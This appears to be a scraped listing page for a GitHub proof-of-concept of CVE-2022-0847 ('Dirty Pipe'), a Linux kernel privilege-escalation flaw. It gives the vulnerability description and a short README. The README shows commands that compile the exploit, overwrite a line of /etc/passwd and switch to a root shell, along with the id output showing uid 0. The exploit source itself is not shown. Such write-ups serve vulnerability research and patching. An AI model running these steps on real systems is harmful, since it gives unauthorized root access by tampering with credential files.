CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source

https://github.com/ahrixia/CVE_2022_0847

Associated Vulnerability

Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.

Description

CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability

Readme

# CVE_2022_0847
CVE-2022-0847: Linux Kernel Privilege Escalation Vulnerability

---
## POC

A Simple Proof of concept to get root shell.

```bash
$ gcc cve_2022_0847.c -o exploit
$ ./exploit /etc/passwd 1 ootz:
$ su rootz
# id
uid=0(root) gid=0(root) groups=0(root)
```

File Snapshot

Remarks

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